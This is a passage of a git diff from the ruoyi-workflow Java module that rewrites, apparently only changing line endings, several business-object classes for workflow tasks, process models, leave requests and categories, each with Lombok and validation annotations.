1L; + + /** + * 委派人id + */ + @NotBlank(message = "委派人id不能为空", groups = {AddGroup.class}) + private String userId; + + /** + * 委派人名称 + */ + @NotBlank(message = "委派人名称不能为空", groups = {AddGroup.class}) + private String nickName; + + /** + * 任务id + */ + @NotBlank(message = "任务id不能为空", groups = {AddGroup.class}) + private String taskId; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/DeleteMultiBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/DeleteMultiBo.java index e533167..e59d5d4 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/DeleteMultiBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/DeleteMultiBo.java @@ -1,52 +1,52 @@ -package org.dromara.workflow.domain.bo; - -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotEmpty; -import lombok.Data; -import org.dromara.common.core.validate.AddGroup; - -import java.io.Serial; -import java.io.Serializable; -import java.util.List; - -/** - * 减签参数请求 - * - * @author may - */ -@Data -public class DeleteMultiBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 任务ID - */ - @NotBlank(message = "任务ID不能为空", groups = AddGroup.class) - private String taskId; - - /** - * 减签人员 - */ - @NotEmpty(message = "减签人员不能为空", groups = AddGroup.class) - private List taskIds; - - /** - * 执行id - */ - @NotEmpty(message = "执行id不能为空", groups = AddGroup.class) - private List executionIds; - - /** - * 人员id - */ - @NotEmpty(message = "减签人员id不能为空", groups = AddGroup.class) - private List assigneeIds; - - /** - * 人员名称 - */ - @NotEmpty(message = "减签人员不能为空", groups = AddGroup.class) - private List assigneeNames; -} +package org.dromara.workflow.domain.bo; + +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotEmpty; +import lombok.Data; +import org.dromara.common.core.validate.AddGroup; + +import java.io.Serial; +import java.io.Serializable; +import java.util.List; + +/** + * 减签参数请求 + * + * @author may + */ +@Data +public class DeleteMultiBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 任务ID + */ + @NotBlank(message = "任务ID不能为空", groups = AddGroup.class) + private String taskId; + + /** + * 减签人员 + */ + @NotEmpty(message = "减签人员不能为空", groups = AddGroup.class) + private List taskIds; + + /** + * 执行id + */ + @NotEmpty(message = "执行id不能为空", groups = AddGroup.class) + private List executionIds; + + /** + * 人员id + */ + @NotEmpty(message = "减签人员id不能为空", groups = AddGroup.class) + private List assigneeIds; + + /** + * 人员名称 + */ + @NotEmpty(message = "减签人员不能为空", groups = AddGroup.class) + private List assigneeNames; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ModelBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ModelBo.java index efe9acd..7223477 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ModelBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ModelBo.java @@ -1,66 +1,66 @@ -package org.dromara.workflow.domain.bo; - -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.Pattern; -import lombok.Data; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.workflow.common.constant.FlowConstant; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 模型请求对象 - * - * @author may - */ -@Data -public class ModelBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 模型id - */ - @NotBlank(message = "模型ID不能为空", groups = {EditGroup.class}) - private String id; - - /** - * 模型名称 - */ - @NotBlank(message = "模型名称不能为空", groups = {AddGroup.class}) - private String name; - - /** - * 模型标识key - */ - @NotBlank(message = "模型标识key不能为空", groups = {AddGroup.class}) - @Pattern(regexp = FlowConstant.MODEL_KEY_PATTERN, message = "模型标识key只能字符或者下划线开头", groups = {AddGroup.class}) - private String key; - - /** - * 模型分类 - */ - @NotBlank(message = "模型分类不能为空", groups = {AddGroup.class}) - private String categoryCode; - - /** - * 模型XML - */ - @NotBlank(message = "模型XML不能为空", groups = {AddGroup.class}) - private String xml; - - /** - * 模型SVG图片 - */ - @NotBlank(message = "模型SVG不能为空", groups = {EditGroup.class}) - private String svg; - - /** - * 备注 - */ - private String description; - -} +package org.dromara.workflow.domain.bo; + +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.Pattern; +import lombok.Data; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.workflow.common.constant.FlowConstant; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 模型请求对象 + * + * @author may + */ +@Data +public class ModelBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 模型id + */ + @NotBlank(message = "模型ID不能为空", groups = {EditGroup.class}) + private String id; + + /** + * 模型名称 + */ + @NotBlank(message = "模型名称不能为空", groups = {AddGroup.class}) + private String name; + + /** + * 模型标识key + */ + @NotBlank(message = "模型标识key不能为空", groups = {AddGroup.class}) + @Pattern(regexp = FlowConstant.MODEL_KEY_PATTERN, message = "模型标识key只能字符或者下划线开头", groups = {AddGroup.class}) + private String key; + + /** + * 模型分类 + */ + @NotBlank(message = "模型分类不能为空", groups = {AddGroup.class}) + private String categoryCode; + + /** + * 模型XML + */ + @NotBlank(message = "模型XML不能为空", groups = {AddGroup.class}) + private String xml; + + /** + * 模型SVG图片 + */ + @NotBlank(message = "模型SVG不能为空", groups = {EditGroup.class}) + private String svg; + + /** + * 备注 + */ + private String description; + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ProcessDefinitionBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ProcessDefinitionBo.java index 2025932..4ea3f5d 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ProcessDefinitionBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ProcessDefinitionBo.java @@ -1,34 +1,34 @@ -package org.dromara.workflow.domain.bo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 流程定义请求对象 - * - * @author may - */ -@Data -public class ProcessDefinitionBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 流程定义名称key - */ - private String key; - - /** - * 流程定义名称 - */ - private String name; - - /** - * 模型分类 - */ - private String categoryCode; - -} +package org.dromara.workflow.domain.bo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 流程定义请求对象 + * + * @author may + */ +@Data +public class ProcessDefinitionBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 流程定义名称key + */ + private String key; + + /** + * 流程定义名称 + */ + private String name; + + /** + * 模型分类 + */ + private String categoryCode; + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ProcessInstanceBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ProcessInstanceBo.java index 2833b3e..0658ded 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ProcessInstanceBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ProcessInstanceBo.java @@ -1,43 +1,43 @@ -package org.dromara.workflow.domain.bo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 流程实例请求对象 - * - * @author may - */ -@Data -public class ProcessInstanceBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 流程名称 - */ - private String name; - - /** - * 流程key - */ - private String key; - - /** - * 任务发起人 - */ - private String startUserId; - - /** - * 业务id - */ - private String businessKey; - - /** - * 模型分类 - */ - private String categoryCode; -} +package org.dromara.workflow.domain.bo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 流程实例请求对象 + * + * @author may + */ +@Data +public class ProcessInstanceBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 流程名称 + */ + private String name; + + /** + * 流程key + */ + private String key; + + /** + * 任务发起人 + */ + private String startUserId; + + /** + * 业务id + */ + private String businessKey; + + /** + * 模型分类 + */ + private String categoryCode; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ProcessInvalidBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ProcessInvalidBo.java index 41e51c2..3542a66 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ProcessInvalidBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/ProcessInvalidBo.java @@ -1,31 +1,31 @@ -package org.dromara.workflow.domain.bo; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import org.dromara.common.core.validate.AddGroup; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 流程实例作废请求对象 - * - * @author may - */ -@Data -public class ProcessInvalidBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 业务id - */ - @NotBlank(message = "业务id不能为空", groups = {AddGroup.class}) - private String businessKey; - - /** - * 作废原因 - */ - private String deleteReason; -} +package org.dromara.workflow.domain.bo; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import org.dromara.common.core.validate.AddGroup; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 流程实例作废请求对象 + * + * @author may + */ +@Data +public class ProcessInvalidBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 业务id + */ + @NotBlank(message = "业务id不能为空", groups = {AddGroup.class}) + private String businessKey; + + /** + * 作废原因 + */ + private String deleteReason; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/StartProcessBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/StartProcessBo.java index 7af7935..ebe1678 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/StartProcessBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/StartProcessBo.java @@ -1,49 +1,49 @@ -package org.dromara.workflow.domain.bo; - - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import org.dromara.common.core.validate.AddGroup; - -import java.io.Serial; -import java.io.Serializable; -import java.util.HashMap; -import java.util.Map; -import java.util.Objects; - -/** - * 启动流程对象 - * - * @author may - */ -@Data -public class StartProcessBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 业务唯一值id - */ - @NotBlank(message = "业务ID不能为空", groups = {AddGroup.class}) - private String businessKey; - - /** - * 表名 - */ - @NotBlank(message = "表名不能为空", groups = {AddGroup.class}) - private String tableName; - - /** - * 流程变量,前端会提交一个元素{'entity': {业务详情数据对象}} - */ - private Map variables; - - public Map getVariables() { - if (variables == null) { - return new HashMap<>(16); - } - variables.entrySet().removeIf(entry -> Objects.isNull(entry.getValue())); - return variables; - } -} +package org.dromara.workflow.domain.bo; + + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import org.dromara.common.core.validate.AddGroup; + +import java.io.Serial; +import java.io.Serializable; +import java.util.HashMap; +import java.util.Map; +import java.util.Objects; + +/** + * 启动流程对象 + * + * @author may + */ +@Data +public class StartProcessBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 业务唯一值id + */ + @NotBlank(message = "业务ID不能为空", groups = {AddGroup.class}) + private String businessKey; + + /** + * 表名 + */ + @NotBlank(message = "表名不能为空", groups = {AddGroup.class}) + private String tableName; + + /** + * 流程变量,前端会提交一个元素{'entity': {业务详情数据对象}} + */ + private Map variables; + + public Map getVariables() { + if (variables == null) { + return new HashMap<>(16); + } + variables.entrySet().removeIf(entry -> Objects.isNull(entry.getValue())); + return variables; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/SysUserMultiBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/SysUserMultiBo.java index e4d99e4..2600188 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/SysUserMultiBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/SysUserMultiBo.java @@ -1,39 +1,39 @@ -package org.dromara.workflow.domain.bo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - - -/** - * 用户加签查询 - * - * @author may - */ -@Data -public class SysUserMultiBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 人员名称 - */ - private String userName; - - /** - * 人员名称 - */ - private String nickName; - - /** - * 部门id - */ - private String deptId; - - /** - * 任务id - */ - private String taskId; -} +package org.dromara.workflow.domain.bo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + + +/** + * 用户加签查询 + * + * @author may + */ +@Data +public class SysUserMultiBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 人员名称 + */ + private String userName; + + /** + * 人员名称 + */ + private String nickName; + + /** + * 部门id + */ + private String deptId; + + /** + * 任务id + */ + private String taskId; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TActivityBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TActivityBo.java index 62ffdfc..6dcf294 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TActivityBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TActivityBo.java @@ -1,82 +1,82 @@ -package org.dromara.workflow.domain.bo; - - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.workflow.domain.TActivity; - -import java.util.Date; - -/** - * 活动业务对象 t_activity - * - * @author Lion Li - * @date 2024-07-19 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TActivity.class, reverseConvertGenerate = false) -public class TActivityBo extends BaseEntity { - - /** - * 租户号 - */ - @NotNull(message = "租户号不能为空", groups = { EditGroup.class }) - private Long id; - - /** - * 标题 - */ - @NotBlank(message = "标题不能为空", groups = { AddGroup.class, EditGroup.class }) - private String title; - - /** - * 图片 - */ - @NotBlank(message = "图片不能为空", groups = { AddGroup.class, EditGroup.class }) - private String image; - - /** - * 排序 - */ - @NotNull(message = "排序不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long sort; - - /** - * 开始时间 - */ - @NotNull(message = "开始时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Date startTime; - - /** - * 结束时间 - */ - @NotNull(message = "结束时间不能为空", groups = { AddGroup.class, EditGroup.class }) - private Date endTime; - - /** - * 浏览量 - */ - @NotNull(message = "浏览量不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long browseNum; - - /** - * 内容(富文本) - */ - @NotBlank(message = "内容(富文本)不能为空", groups = { AddGroup.class, EditGroup.class }) - private String content; - - /** - * 点赞数 - */ - @NotNull(message = "点赞数不能为空", groups = { AddGroup.class, EditGroup.class }) - private Long likeNum; - - -} +package org.dromara.workflow.domain.bo; + + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.workflow.domain.TActivity; + +import java.util.Date; + +/** + * 活动业务对象 t_activity + * + * @author Lion Li + * @date 2024-07-19 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TActivity.class, reverseConvertGenerate = false) +public class TActivityBo extends BaseEntity { + + /** + * 租户号 + */ + @NotNull(message = "租户号不能为空", groups = { EditGroup.class }) + private Long id; + + /** + * 标题 + */ + @NotBlank(message = "标题不能为空", groups = { AddGroup.class, EditGroup.class }) + private String title; + + /** + * 图片 + */ + @NotBlank(message = "图片不能为空", groups = { AddGroup.class, EditGroup.class }) + private String image; + + /** + * 排序 + */ + @NotNull(message = "排序不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long sort; + + /** + * 开始时间 + */ + @NotNull(message = "开始时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Date startTime; + + /** + * 结束时间 + */ + @NotNull(message = "结束时间不能为空", groups = { AddGroup.class, EditGroup.class }) + private Date endTime; + + /** + * 浏览量 + */ + @NotNull(message = "浏览量不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long browseNum; + + /** + * 内容(富文本) + */ + @NotBlank(message = "内容(富文本)不能为空", groups = { AddGroup.class, EditGroup.class }) + private String content; + + /** + * 点赞数 + */ + @NotNull(message = "点赞数不能为空", groups = { AddGroup.class, EditGroup.class }) + private Long likeNum; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TaskBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TaskBo.java index 3037479..27b690f 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TaskBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TaskBo.java @@ -1,33 +1,33 @@ -package org.dromara.workflow.domain.bo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 任务请求对象 - * - * @author may - */ -@Data -public class TaskBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 任务名称 - */ - private String name; - - /** - * 流程定义名称 - */ - private String processDefinitionName; - - /** - * 流程定义key - */ - private String processDefinitionKey; -} +package org.dromara.workflow.domain.bo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 任务请求对象 + * + * @author may + */ +@Data +public class TaskBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 任务名称 + */ + private String name; + + /** + * 流程定义名称 + */ + private String processDefinitionName; + + /** + * 流程定义key + */ + private String processDefinitionKey; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TaskUrgingBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TaskUrgingBo.java index 20856ef..3cbf158 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TaskUrgingBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TaskUrgingBo.java @@ -1,34 +1,34 @@ -package org.dromara.workflow.domain.bo; - -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.List; - -/** - * 任务催办 - * - * @author may - */ -@Data -public class TaskUrgingBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 流程实例id - */ - private String processInstanceId; - - /** - * 消息类型 - */ - private List messageType; - - /** - * 催办内容(为空默认系统内置信息) - */ - private String message; -} +package org.dromara.workflow.domain.bo; + +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.List; + +/** + * 任务催办 + * + * @author may + */ +@Data +public class TaskUrgingBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 流程实例id + */ + private String processInstanceId; + + /** + * 消息类型 + */ + private List messageType; + + /** + * 催办内容(为空默认系统内置信息) + */ + private String message; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TerminationBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TerminationBo.java index 8f2206e..782ff5a 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TerminationBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TerminationBo.java @@ -1,31 +1,31 @@ -package org.dromara.workflow.domain.bo; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import org.dromara.common.core.validate.AddGroup; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 终止任务请求对象 - * - * @author may - */ -@Data -public class TerminationBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 任务id - */ - @NotBlank(message = "任务id为空", groups = AddGroup.class) - private String taskId; - - /** - * 审批意见 - */ - private String comment; -} +package org.dromara.workflow.domain.bo; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import org.dromara.common.core.validate.AddGroup; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 终止任务请求对象 + * + * @author may + */ +@Data +public class TerminationBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 任务id + */ + @NotBlank(message = "任务id为空", groups = AddGroup.class) + private String taskId; + + /** + * 审批意见 + */ + private String comment; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TestLeaveBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TestLeaveBo.java index 877e981..b6a6aed 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TestLeaveBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TestLeaveBo.java @@ -1,80 +1,80 @@ -package org.dromara.workflow.domain.bo; - -import com.fasterxml.jackson.annotation.JsonFormat; -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.workflow.domain.TestLeave; - -import java.util.Date; - -/** - * 请假业务对象 test_leave - * - * @author may - * @date 2023-07-21 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = TestLeave.class, reverseConvertGenerate = false) -public class TestLeaveBo extends BaseEntity { - - /** - * 主键 - */ - @NotNull(message = "主键不能为空", groups = {EditGroup.class}) - private Long id; - - /** - * 请假类型 - */ - @NotBlank(message = "请假类型不能为空", groups = {AddGroup.class, EditGroup.class}) - private String leaveType; - - /** - * 开始时间 - */ - @NotNull(message = "开始时间不能为空", groups = {AddGroup.class, EditGroup.class}) - @JsonFormat(pattern = "yyyy-MM-dd") - private Date startDate; - - /** - * 结束时间 - */ - @NotNull(message = "结束时间不能为空", groups = {AddGroup.class, EditGroup.class}) - @JsonFormat(pattern = "yyyy-MM-dd") - private Date endDate; - - /** - * 请假天数 - */ - @NotNull(message = "请假天数不能为空", groups = {AddGroup.class, EditGroup.class}) - private Integer leaveDays; - - /** - * 开始时间 - */ - private Integer startLeaveDays; - - /** - * 结束时间 - */ - private Integer endLeaveDays; - - /** - * 请假原因 - */ - private String remark; - - /** - * 状态 - */ - private String status; - - -} +package org.dromara.workflow.domain.bo; + +import com.fasterxml.jackson.annotation.JsonFormat; +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.workflow.domain.TestLeave; + +import java.util.Date; + +/** + * 请假业务对象 test_leave + * + * @author may + * @date 2023-07-21 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = TestLeave.class, reverseConvertGenerate = false) +public class TestLeaveBo extends BaseEntity { + + /** + * 主键 + */ + @NotNull(message = "主键不能为空", groups = {EditGroup.class}) + private Long id; + + /** + * 请假类型 + */ + @NotBlank(message = "请假类型不能为空", groups = {AddGroup.class, EditGroup.class}) + private String leaveType; + + /** + * 开始时间 + */ + @NotNull(message = "开始时间不能为空", groups = {AddGroup.class, EditGroup.class}) + @JsonFormat(pattern = "yyyy-MM-dd") + private Date startDate; + + /** + * 结束时间 + */ + @NotNull(message = "结束时间不能为空", groups = {AddGroup.class, EditGroup.class}) + @JsonFormat(pattern = "yyyy-MM-dd") + private Date endDate; + + /** + * 请假天数 + */ + @NotNull(message = "请假天数不能为空", groups = {AddGroup.class, EditGroup.class}) + private Integer leaveDays; + + /** + * 开始时间 + */ + private Integer startLeaveDays; + + /** + * 结束时间 + */ + private Integer endLeaveDays; + + /** + * 请假原因 + */ + private String remark; + + /** + * 状态 + */ + private String status; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TransmitBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TransmitBo.java index 3eb6609..4d46f58 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TransmitBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/TransmitBo.java @@ -1,37 +1,37 @@ -package org.dromara.workflow.domain.bo; - -import jakarta.validation.constraints.NotBlank; -import lombok.Data; -import org.dromara.common.core.validate.AddGroup; - -import java.io.Serial; -import java.io.Serializable; - -/** - * 终转办务请求对象 - * - * @author may - */ -@Data -public class TransmitBo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 任务id - */ - @NotBlank(message = "任务id为空", groups = AddGroup.class) - private String taskId; - - /** - * 转办人id - */ - @NotBlank(message = "转办人不能为空", groups = AddGroup.class) - private String userId; - - /** - * 审批意见 - */ - private String comment; -} +package org.dromara.workflow.domain.bo; + +import jakarta.validation.constraints.NotBlank; +import lombok.Data; +import org.dromara.common.core.validate.AddGroup; + +import java.io.Serial; +import java.io.Serializable; + +/** + * 终转办务请求对象 + * + * @author may + */ +@Data +public class TransmitBo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 任务id + */ + @NotBlank(message = "任务id为空", groups = AddGroup.class) + private String taskId; + + /** + * 转办人id + */ + @NotBlank(message = "转办人不能为空", groups = AddGroup.class) + private String userId; + + /** + * 审批意见 + */ + private String comment; +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfCategoryBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfCategoryBo.java index 69608fd..244593a 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfCategoryBo.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfCategoryBo.java @@ -1,54 +1,54 @@ -package org.dromara.workflow.domain.bo; - -import io.github.linpeilie.annotations.AutoMapper; -import jakarta.validation.constraints.NotBlank; -import jakarta.validation.constraints.NotNull; -import lombok.Data; -import lombok.EqualsAndHashCode; -import org.dromara.common.core.validate.AddGroup; -import org.dromara.common.core.validate.EditGroup; -import org.dromara.common.mybatis.core.domain.BaseEntity; -import org.dromara.workflow.domain.WfCategory; - -/** - * 流程分类业务对象 wf_category - * - * @author may - * @date 2023-06-27 - */ -@Data -@EqualsAndHashCode(callSuper = true) -@AutoMapper(target = WfCategory.class, reverseConvertGenerate = false) -public class WfCategoryBo extends BaseEntity { - - /** - * 主键 - */ - @NotNull(message = "主键不能为空", groups = {EditGroup.class}) - private Long id; - - /** - * 分类名称 - */ - @NotBlank(message = "分类名称不能为空", groups = {AddGroup.class, EditGroup.class}) - private String categoryName; - - /** - * 分类编码 - */ - @NotBlank(message = "分类编码不能为空", groups = {AddGroup.class, EditGroup.class}) - private String categoryCode; - - /** - * 父级id - */ - @NotNull(message = "父级id不能为空", groups = {AddGroup.class, EditGroup.class}) - private Long parentId; - - /** - * 排序 - */ - private Long sortNum; - - -} +package org.dromara.workflow.domain.bo; + +import io.github.linpeilie.annotations.AutoMapper; +import jakarta.validation.constraints.NotBlank; +import jakarta.validation.constraints.NotNull; +import lombok.Data; +import lombok.EqualsAndHashCode; +import org.dromara.common.core.validate.AddGroup; +import org.dromara.common.core.validate.EditGroup; +import org.dromara.common.mybatis.core.domain.BaseEntity; +import org.dromara.workflow.domain.WfCategory; + +/** + * 流程分类业务对象 wf_category + * + * @author may + * @date 2023-06-27 + */ +@Data +@EqualsAndHashCode(callSuper = true) +@AutoMapper(target = WfCategory.class, reverseConvertGenerate = false) +public class WfCategoryBo extends BaseEntity { + + /** + * 主键 + */ + @NotNull(message = "主键不能为空", groups = {EditGroup.class}) + private Long id; + + /** + * 分类名称 + */ + @NotBlank(message = "分类名称不能为空", groups = {AddGroup.class, EditGroup.class}) + private String categoryName; + + /** + * 分类编码 + */ + @NotBlank(message = "分类编码不能为空", groups = {AddGroup.class, EditGroup.class}) + private String categoryCode; + + /** + * 父级id + */ + @NotNull(message = "父级id不能为空", groups = {AddGroup.class, EditGroup.class}) + private Long parentId; + + /** + * 排序 + */ + private Long sortNum; + + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfDefinitionConfigBo.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/domain/bo/WfDefinitionConfigBo.java index 88433f6..874fe8b 100644 --- 